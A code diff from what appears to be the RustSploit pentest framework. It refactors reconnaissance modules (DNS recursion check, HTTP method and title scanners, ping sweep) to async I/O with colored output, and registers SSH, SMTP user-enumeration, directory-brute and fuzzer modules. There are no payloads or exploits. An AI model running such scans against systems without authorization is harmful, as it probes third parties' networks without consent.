@@ -145,16 +185,16 @@ fn report_result(message: &Message, display_target: &str, record_type: RecordTyp
|
||||
message.answers().len(),
|
||||
message.name_servers().len(),
|
||||
message.additionals().len()
|
||||
)
|
||||
).dimmed()
|
||||
);
|
||||
|
||||
if truncated {
|
||||
println!("[!] Response was truncated (TC flag set).");
|
||||
println!("{}", "[!] Response was truncated (TC flag set).".yellow());
|
||||
}
|
||||
|
||||
println!(
|
||||
"[*] Flags: RD={} RA={} AA={}",
|
||||
recursion_desired, recursion_available, authoritative
|
||||
"{}",
|
||||
format!("[*] Flags: RD={} RA={} AA={}", recursion_desired, recursion_available, authoritative).dimmed()
|
||||
);
|
||||
|
||||
if recursion_available && rcode != ResponseCode::Refused {
|
||||
@@ -167,12 +207,14 @@ fn report_result(message: &Message, display_target: &str, record_type: RecordTyp
|
||||
if authoritative { "(authoritative data returned)" } else { "" }
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
" This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
|
||||
.yellow()
|
||||
);
|
||||
true
|
||||
} else if recursion_available && rcode == ResponseCode::Refused {
|
||||
println!(
|
||||
"{}",
|
||||
@@ -182,6 +224,7 @@ fn report_result(message: &Message, display_target: &str, record_type: RecordTyp
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
false
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
@@ -189,8 +232,9 @@ fn report_result(message: &Message, display_target: &str, record_type: RecordTyp
|
||||
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
|
||||
display_target
|
||||
)
|
||||
.red()
|
||||
.dimmed()
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
@@ -236,11 +280,17 @@ fn random_test_domain() -> String {
|
||||
format!("{}.rustsploit.test", random_label)
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buf)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
@@ -251,13 +301,19 @@ fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(message: &str, default: u16) -> Result<u16> {
|
||||
async fn prompt_port(message: &str, default: u16) -> Result<u16> {
|
||||
loop {
|
||||
let prompt = format!("{} [{}]: ", message, default);
|
||||
print!("{}", prompt);
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buf)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Ok(default);
|
||||
@@ -271,11 +327,17 @@ fn prompt_port(message: &str, default: u16) -> Result<u16> {
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_line(message: &str) -> Result<String> {
|
||||
async fn prompt_line(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buf)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = buf.trim();
|
||||
if trimmed.len() > 255 {
|
||||
return Err(anyhow!("Input too long (max 255 characters)."));
|
||||
@@ -283,14 +345,20 @@ fn prompt_line(message: &str) -> Result<String> {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
async fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
let hint = if default_yes { "Y/n" } else { "y/N" };
|
||||
loop {
|
||||
let prompt = format!("{} [{}]: ", message, hint);
|
||||
print!("{}", prompt);
|
||||
io::stdout().flush()?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut buf = String::new();
|
||||
io::stdin().read_line(&mut buf)?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut buf)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = buf.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => return Ok(default_yes),
|
||||
@@ -302,7 +370,7 @@ fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
|
||||
}
|
||||
}
|
||||
|
||||
fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
|
||||
async fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
|
||||
let mut targets = Vec::new();
|
||||
let mut seen: HashSet<String> = HashSet::new();
|
||||
|
||||
@@ -346,9 +414,9 @@ fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
|
||||
if prompt_yes_no(
|
||||
"Add additional targets manually? (type 'stop' to finish)",
|
||||
targets.is_empty(),
|
||||
)? {
|
||||
).await? {
|
||||
loop {
|
||||
let entry = prompt_line("Target (IP/host[:port], 'stop' to finish): ")?;
|
||||
let entry = prompt_line("Target (IP/host[:port], 'stop' to finish): ").await?;
|
||||
if entry.is_empty() {
|
||||
continue;
|
||||
}
|
||||
@@ -359,9 +427,9 @@ fn collect_targets(initial: &str) -> Result<Vec<TargetSpec>> {
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
if prompt_yes_no("Load targets from file?", false).await? {
|
||||
loop {
|
||||
let path_input = prompt_line("Path to file ('stop' to finish): ")?;
|
||||
let path_input = prompt_line("Path to file ('stop' to finish): ").await?;
|
||||
if path_input.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use colored::*;
|
||||
use reqwest::{Client, Method, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
const METHODS: &[&str] = &[
|
||||
"GET",
|
||||
@@ -36,18 +37,18 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let mut targets = collect_initial_targets(initial_target);
|
||||
|
||||
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
|
||||
let additional = prompt("Enter additional comma-separated targets (optional): ").await?;
|
||||
if !additional.is_empty() {
|
||||
targets.extend(split_targets(&additional));
|
||||
}
|
||||
|
||||
let file_path = prompt("Path to file with targets (optional): ")?;
|
||||
let file_path = prompt("Path to file with targets (optional): ").await?;
|
||||
if !file_path.is_empty() {
|
||||
let file_targets = load_targets_from_file(&file_path)?;
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
|
||||
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
|
||||
let default_scheme_input = prompt("Preferred scheme (http/https, default https): ").await?;
|
||||
let default_scheme = match default_scheme_input.to_lowercase().as_str() {
|
||||
"http" => "http",
|
||||
_ => "https",
|
||||
@@ -56,22 +57,22 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
let use_ports = prompt_bool(
|
||||
"Test via specific ports (port tunneling)? (yes/no, default no): ",
|
||||
false,
|
||||
)?;
|
||||
).await?;
|
||||
let ports = if use_ports {
|
||||
prompt_ports()?
|
||||
prompt_ports().await?
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
|
||||
let timeout_input = prompt("Request timeout in seconds (default 10): ").await?;
|
||||
let timeout_secs: u64 = timeout_input
|
||||
.parse()
|
||||
.ok()
|
||||
.filter(|val| *val > 0)
|
||||
.unwrap_or(10);
|
||||
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false).await?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true).await?;
|
||||
|
||||
let mut normalized = normalize_targets(targets, default_scheme);
|
||||
if !ports.is_empty() {
|
||||
@@ -95,9 +96,15 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let mut all_results = Vec::new();
|
||||
let mut total_success = 0usize;
|
||||
let mut total_errors = 0usize;
|
||||
let start_time = Instant::now();
|
||||
|
||||
println!("{}", format!("[*] Scanning {} target(s) with {} methods each...",
|
||||
normalized.len(), METHODS.len()).cyan().bold());
|
||||
|
||||
for target in &normalized {
|
||||
println!("\n=== Target: {} ===", target);
|
||||
println!("\n{}", format!("=== Target: {} ===", target).bold());
|
||||
let mut method_results = Vec::new();
|
||||
|
||||
for &method_name in METHODS {
|
||||
@@ -123,43 +130,41 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
Ok(resp) => {
|
||||
let status = resp.status();
|
||||
let ok = status.is_success();
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
status,
|
||||
elapsed
|
||||
);
|
||||
if ok {
|
||||
total_success += 1;
|
||||
if verbose {
|
||||
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).green());
|
||||
} else {
|
||||
println!("{}", format!(" [{}] {}", method_name, status).green());
|
||||
}
|
||||
} else {
|
||||
println!(" [{}] {}", method_name, status);
|
||||
if verbose {
|
||||
println!("{}", format!(" [{}] {} -> {} ({:.2?})", method_name, target, status, elapsed).yellow());
|
||||
} else {
|
||||
println!("{}", format!(" [{}] {}", method_name, status).yellow());
|
||||
}
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: Some(status),
|
||||
ok,
|
||||
error: None,
|
||||
duration_ms: elapsed.as_millis(),
|
||||
ok,
|
||||
error: None,
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
Err(err) => {
|
||||
total_errors += 1;
|
||||
if verbose {
|
||||
println!(
|
||||
" [{}] {} -> error: {} ({:.2?})",
|
||||
method_name,
|
||||
target,
|
||||
err,
|
||||
elapsed
|
||||
);
|
||||
println!("{}", format!(" [{}] {} -> error: {} ({:.2?})", method_name, target, err, elapsed).red());
|
||||
} else {
|
||||
println!(" [{}] error: {}", method_name, err);
|
||||
println!("{}", format!(" [{}] error: {}", method_name, err).red());
|
||||
}
|
||||
method_results.push(MethodResult {
|
||||
method: method_name,
|
||||
status: None,
|
||||
ok: false,
|
||||
error: Some(err.to_string()),
|
||||
duration_ms: elapsed.as_millis(),
|
||||
duration_ms: elapsed.as_millis(),
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -167,10 +172,26 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
all_results.push(TargetResult {
|
||||
target: target.clone(),
|
||||
results: method_results,
|
||||
results: method_results,
|
||||
});
|
||||
}
|
||||
|
||||
let total_elapsed = start_time.elapsed();
|
||||
let total_requests = normalized.len() * METHODS.len();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Targets: {}", normalized.len());
|
||||
println!(" Methods tested: {}", METHODS.len());
|
||||
println!(" Total requests: {}", total_requests);
|
||||
println!(" Successful: {}", total_success.to_string().green());
|
||||
println!(" Errors: {}", total_errors.to_string().red());
|
||||
println!(" Duration: {:.2}s", total_elapsed.as_secs_f64());
|
||||
if total_elapsed.as_secs() > 0 {
|
||||
println!(" Rate: {:.1} requests/s", total_requests as f64 / total_elapsed.as_secs_f64());
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_method_scan_{}.txt",
|
||||
@@ -179,7 +200,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
let output_path = prompt_with_default(
|
||||
"Enter output file path (press Enter for default): ",
|
||||
&default_name,
|
||||
)?;
|
||||
).await?;
|
||||
write_report(&output_path, &all_results)?;
|
||||
println!("[*] Results saved to {}", output_path);
|
||||
}
|
||||
@@ -189,15 +210,11 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════════╗
|
||||
║ HTTP METHOD CAPABILITY SCANNER ║
|
||||
║ Checks support for common verbs ║
|
||||
╚══════════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Method Capability Scanner ║".cyan());
|
||||
println!("{}", "║ Checks support for common HTTP verbs (GET, POST, etc.) ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
fn collect_initial_targets(initial_target: &str) -> Vec<String> {
|
||||
@@ -275,19 +292,23 @@ fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
|
||||
expanded
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin()
|
||||
.read_line(&mut input)
|
||||
.context("Failed to read user input")?;
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read user input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
async fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let default_text = if default { "yes" } else { "no" };
|
||||
let input = prompt(message)?;
|
||||
let input = prompt(message).await?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
@@ -301,8 +322,8 @@ fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
let input = prompt(message)?;
|
||||
async fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
let input = prompt(message).await?;
|
||||
if input.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
@@ -310,10 +331,10 @@ fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_ports() -> Result<Vec<u16>> {
|
||||
async fn prompt_ports() -> Result<Vec<u16>> {
|
||||
let input = prompt(
|
||||
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
|
||||
)?;
|
||||
).await?;
|
||||
if input.is_empty() {
|
||||
println!("[!] No ports provided; skipping port tunneling.");
|
||||
return Ok(Vec::new());
|
||||
|
||||
@@ -1,30 +1,31 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use colored::*;
|
||||
use regex::Regex;
|
||||
use reqwest::{Client, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut targets = collect_initial_targets(initial_target);
|
||||
|
||||
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
|
||||
let additional = prompt("Enter additional comma-separated targets (optional): ").await?;
|
||||
if !additional.is_empty() {
|
||||
targets.extend(split_targets(&additional));
|
||||
}
|
||||
|
||||
let file_path = prompt("Path to file with targets (optional): ")?;
|
||||
let file_path = prompt("Path to file with targets (optional): ").await?;
|
||||
if !file_path.is_empty() {
|
||||
let file_targets = load_targets_from_file(&file_path)?;
|
||||
targets.extend(file_targets);
|
||||
}
|
||||
|
||||
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
|
||||
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
|
||||
let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true).await?;
|
||||
let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true).await?;
|
||||
|
||||
if !check_http && !check_https {
|
||||
println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
|
||||
@@ -34,16 +35,16 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
let use_ports = prompt_bool(
|
||||
"Test via specific ports (port tunneling)? (yes/no, default no): ",
|
||||
false,
|
||||
)?;
|
||||
).await?;
|
||||
let ports = if use_ports {
|
||||
prompt_ports()?
|
||||
prompt_ports().await?
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
let timeout_secs = prompt_timeout()?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
|
||||
let timeout_secs = prompt_timeout().await?;
|
||||
let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true).await?;
|
||||
let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false).await?;
|
||||
|
||||
let mut normalized = normalize_targets(targets, check_http, check_https);
|
||||
if !ports.is_empty() {
|
||||
@@ -68,16 +69,36 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
|
||||
let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
|
||||
let mut all_results = Vec::new();
|
||||
let mut success_count = 0usize;
|
||||
let mut error_count = 0usize;
|
||||
let start_time = Instant::now();
|
||||
let total_targets = normalized.len();
|
||||
|
||||
println!("{}", format!("[*] Scanning {} target(s)...", total_targets).cyan().bold());
|
||||
println!();
|
||||
|
||||
for (idx, url) in normalized.iter().enumerate() {
|
||||
// Progress indicator
|
||||
if (idx + 1) % 10 == 0 || idx + 1 == total_targets {
|
||||
print!("\r{}", format!("[*] Progress: {}/{} ({:.0}%)",
|
||||
idx + 1, total_targets, ((idx + 1) as f64 / total_targets as f64) * 100.0).dimmed());
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
for url in &normalized {
|
||||
match fetch_title(&client, url, &title_re).await {
|
||||
Ok(result) => {
|
||||
if let Some(title) = &result.title {
|
||||
println!("[+] {} -> {}" , url, title);
|
||||
println!("\r{}", format!("[+] {} -> {}", url, title).green());
|
||||
success_count += 1;
|
||||
} else if let Some(status) = result.status {
|
||||
println!("[+] {} -> <no title> (status: {})", url, status);
|
||||
if status.is_success() {
|
||||
println!("\r{}", format!("[+] {} -> <no title> (status: {})", url, status).green());
|
||||
success_count += 1;
|
||||
} else {
|
||||
println!("\r{}", format!("[~] {} -> <no title> (status: {})", url, status).yellow());
|
||||
}
|
||||
} else {
|
||||
println!("[+] {} -> <no title>", url);
|
||||
println!("\r{}", format!("[~] {} -> <no title>", url).yellow());
|
||||
}
|
||||
if verbose {
|
||||
if let Some(status) = result.status {
|
||||
@@ -88,7 +109,8 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
all_results.push(result);
|
||||
}
|
||||
Err(err) => {
|
||||
println!("[-] {} -> error: {}", url, err);
|
||||
println!("\r{}", format!("[-] {} -> error: {}", url, err).red());
|
||||
error_count += 1;
|
||||
all_results.push(TitleResult {
|
||||
url: url.clone(),
|
||||
status: None,
|
||||
@@ -100,6 +122,19 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Total scanned: {}", total_targets);
|
||||
println!(" Successful: {}", success_count.to_string().green());
|
||||
println!(" Errors: {}", error_count.to_string().red());
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
if elapsed.as_secs() > 0 {
|
||||
println!(" Rate: {:.1} requests/s", total_targets as f64 / elapsed.as_secs_f64());
|
||||
}
|
||||
|
||||
if save_output {
|
||||
let default_name = format!(
|
||||
"http_title_scan_{}.txt",
|
||||
@@ -108,7 +143,7 @@ pub async fn run(initial_target: &str) -> Result<()> {
|
||||
let output_path = prompt_with_default(
|
||||
"Enter output file path (press Enter for default): ",
|
||||
&default_name,
|
||||
)?;
|
||||
).await?;
|
||||
write_report(&output_path, &all_results)?;
|
||||
println!("[*] Results saved to {}", output_path);
|
||||
}
|
||||
@@ -253,19 +288,23 @@ fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
|
||||
expanded
|
||||
}
|
||||
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
tokio::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
io::stdin()
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read user input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
async fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
let default_text = if default { "yes" } else { "no" };
|
||||
let input = prompt(message)?;
|
||||
let input = prompt(message).await?;
|
||||
if input.is_empty() {
|
||||
return Ok(default);
|
||||
}
|
||||
@@ -279,8 +318,8 @@ fn prompt_bool(message: &str, default: bool) -> Result<bool> {
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
let input = prompt(message)?;
|
||||
async fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
let input = prompt(message).await?;
|
||||
if input.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
@@ -288,8 +327,8 @@ fn prompt_with_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_timeout() -> Result<u64> {
|
||||
let input = prompt("Request timeout in seconds (default 10): ")?;
|
||||
async fn prompt_timeout() -> Result<u64> {
|
||||
let input = prompt("Request timeout in seconds (default 10): ").await?;
|
||||
if input.is_empty() {
|
||||
return Ok(10);
|
||||
}
|
||||
@@ -302,10 +341,10 @@ fn prompt_timeout() -> Result<u64> {
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_ports() -> Result<Vec<u16>> {
|
||||
async fn prompt_ports() -> Result<Vec<u16>> {
|
||||
let input = prompt(
|
||||
"Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
|
||||
)?;
|
||||
).await?;
|
||||
if input.is_empty() {
|
||||
println!("[!] No ports provided; skipping port tunneling.");
|
||||
return Ok(Vec::new());
|
||||
@@ -361,13 +400,9 @@ fn write_report(path: &str, results: &[TitleResult]) -> Result<()> {
|
||||
}
|
||||
|
||||
fn banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════╗
|
||||
║ HTTP TITLE SCANNER (RustSploit) ║
|
||||
║ Enumerate page titles over HTTP/HTTPS endpoints ║
|
||||
╚══════════════════════════════════════════════════╝
|
||||
"#
|
||||
);
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ HTTP Title Scanner ║".cyan());
|
||||
println!("{}", "║ Enumerate page titles over HTTP/HTTPS endpoints ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
@@ -6,3 +6,7 @@ pub mod http_title_scanner;
|
||||
pub mod ping_sweep;
|
||||
pub mod http_method_scanner;
|
||||
pub mod dns_recursion;
|
||||
pub mod ssh_scanner;
|
||||
pub mod smtp_user_enum;
|
||||
pub mod dir_brute;
|
||||
pub mod sequential_fuzzer;
|
||||
|
||||
@@ -10,7 +10,7 @@ use socket2::{Domain, Protocol, Socket, Type};
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{self, BufRead, BufReader, Write},
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
sync::{
|
||||
atomic::{AtomicUsize, Ordering},
|
||||
@@ -18,6 +18,7 @@ use std::{
|
||||
},
|
||||
};
|
||||
use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Duration};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use rand::Rng;
|
||||
use std::mem::MaybeUninit;
|
||||
|
||||
@@ -110,7 +111,7 @@ impl PingMethod {
|
||||
|
||||
/// Main entry point triggered via the dispatcher
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
let config = gather_configuration(initial_target)?;
|
||||
let config = gather_configuration(initial_target).await?;
|
||||
execute_ping_sweep(&config).await
|
||||
}
|
||||
|
||||
@@ -134,7 +135,7 @@ fn parse_target(input: &str) -> Result<IpNet> {
|
||||
Err(anyhow!("Invalid target '{}'. Use IP or IP/CIDR.", input))
|
||||
}
|
||||
|
||||
fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
async fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
println!("{}", "=== Ping Sweep Configuration ===".bold());
|
||||
|
||||
let mut nets: Vec<IpNet> = Vec::new();
|
||||
@@ -159,12 +160,12 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Add additional targets manually?", false)? {
|
||||
if prompt_yes_no("Add additional targets manually?", false).await? {
|
||||
loop {
|
||||
let entry = prompt_line(
|
||||
"Enter target (IP or CIDR, leave blank to stop): ",
|
||||
true,
|
||||
)?;
|
||||
).await?;
|
||||
if entry.is_empty() {
|
||||
break;
|
||||
}
|
||||
@@ -180,8 +181,8 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
let path = prompt_line("Path to file: ", false)?;
|
||||
if prompt_yes_no("Load targets from file?", false).await? {
|
||||
let path = prompt_line("Path to file: ", false).await?;
|
||||
let file_targets = load_targets_from_file(&path)?;
|
||||
if file_targets.is_empty() {
|
||||
println!("{}", " No targets parsed from file.".yellow());
|
||||
@@ -213,23 +214,23 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
let targets: Vec<IpNet> = unique.into_iter().collect();
|
||||
|
||||
let timeout_secs =
|
||||
prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60))?;
|
||||
prompt_u64("Probe timeout (seconds)", 3, Some(1), Some(60)).await?;
|
||||
let concurrency =
|
||||
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
|
||||
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
|
||||
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000)).await?;
|
||||
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false).await?;
|
||||
|
||||
// Ask about saving results
|
||||
let save_up_hosts = if prompt_yes_no("Save up hosts to file?", false)? {
|
||||
let save_up_hosts = if prompt_yes_no("Save up hosts to file?", false).await? {
|
||||
let default_file = "ping_sweep_up_hosts.txt";
|
||||
let file_path = prompt_with_default("Output file for up hosts", default_file)?;
|
||||
let file_path = prompt_with_default("Output file for up hosts", default_file).await?;
|
||||
Some(file_path)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let save_down_hosts = if prompt_yes_no("Save down hosts to file?", false)? {
|
||||
let save_down_hosts = if prompt_yes_no("Save down hosts to file?", false).await? {
|
||||
let default_file = "ping_sweep_down_hosts.txt";
|
||||
let file_path = prompt_with_default("Output file for down hosts", default_file)?;
|
||||
let file_path = prompt_with_default("Output file for down hosts", default_file).await?;
|
||||
Some(file_path)
|
||||
} else {
|
||||
None
|
||||
@@ -238,14 +239,14 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
let methods = loop {
|
||||
let mut methods = Vec::new();
|
||||
|
||||
if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true)? {
|
||||
if prompt_yes_no("Use ICMP ping (system ping/ping6)?", true).await? {
|
||||
methods.push(PingMethod::Icmp);
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use TCP connect probes?", false)? {
|
||||
if prompt_yes_no("Use TCP connect probes?", false).await? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
